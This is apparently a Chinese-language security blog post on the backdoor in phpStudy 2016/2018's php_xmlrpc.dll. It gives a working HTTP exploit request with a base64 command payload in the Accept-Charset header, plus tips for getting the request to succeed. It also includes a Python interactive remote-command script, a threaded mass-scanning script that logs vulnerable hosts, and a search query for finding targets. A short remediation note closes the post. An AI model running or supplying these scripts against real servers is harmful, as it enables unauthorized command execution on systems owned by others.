0x00 后门分析
存在后门的 phpstudy 版本有 2016、2018。PHP版本:5.2.17、5.4.45,后门代码存在于\ext\php_xmlrpc.dll模块中
用户可以通过搜索php_xmlrpc.dll模块中包含“@eval”关键字快速判断是否是存在后门的版本,命令参考:
findstr /m /s /c:”@eval” .
0x01复现
访问任意php网站即可(html不行)
EXP 请求包:主要的是 Accept-Encoding
和 Accept-Charset
Accept-Charset 的内容是 base64 加密:system(“net user”);
1 2 3 4 5 6 7 8 9 10 11
GET / HTTP/1.1 Host: 192.168.1.111 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding:gzip,deflate Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw== Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
成功执行了命令
0x02 踩坑
自己构造请求包怎么也复现不出来、复制别人成功的请求包就可以复现、来看看这几个造成复现不成功的问题吧
复现关键:
1、在于Accept-Encoding:gzip,deflate的逗号中间不能有空格。
2、请求包最后多两个换行。
0x03脚本
python脚本1(转自T9Sec)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
import requests,base64,sys def exp(url): try: if 'http' not in url: url = 'http://'+url while True: a = input('$ ') b = 'system("%s");' %a c = base64.b64encode(b.encode('utf-8')) payload = (str(c,'utf-8')) headers = { 'Accept-Encoding':'gzip,deflate', 'Accept-Charset':payload } r = requests.get(url=url,headers=headers,timeout=5) r.encoding = r.apparent_encoding print(r.text) except: return 'Error' if __name__ == '__main__': print(exp(sys.argv[1]))
评价:超级不稳定。
批量脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
import base64import requestsimport threadingimport threadpoolprint("======Phpstudy Backdoor Exploit============\n" ) print("===========By Qing=================\n" ) print("=====Blog:https://www.cnblogs.com/-qing-/==\n" ) def write_shell (url ): payload = "echo \"qing\";" payload = base64.b64encode(payload.encode('utf-8' )) payload = str (payload, 'utf-8' ) headers = { 'Upgrade-Insecure-Requests' : '1' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' , 'Accept-Language' : 'zh-CN,zh;q=0.9' , 'accept -charset' : payload, 'Accept-Encoding' : 'gzip,deflate' , 'Connection' : 'close' , } try : r = requests.get(url=url+'/index.php' , headers=headers, verify=False ,timeout=30 ) if "qing" in r.text: print ('[ + ] BackDoor successful: ' +url+'===============[ + ]\n' ) with open ('success.txt' ,'a' ) as f: f.write(url+'\n' ) else : print ('[ - ] BackDoor failed: ' +url+'[ - ]\n' ) except : print ('[ - ] Timeout: ' +url+' [ - ]\n' ) def main (): with open ('url.txt' ,'r' ) as f: lines = f.read().splitlines() task_pool=threadpool.ThreadPool(5 ) requests=threadpool.makeRequests(write_shell,lines) for req in requests: task_pool.putRequest(req) task_pool.wait() if __name__ == '__main__' : main()
谷歌语法:
“phpstudy” && server==”nginx”
0x04预防
可以从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中的php_xmlrpc.dll,下载地址:
https://windows.php.net/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip
https://windows.php.net/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip
FROM :b0urne.top | Author:b0urne
评论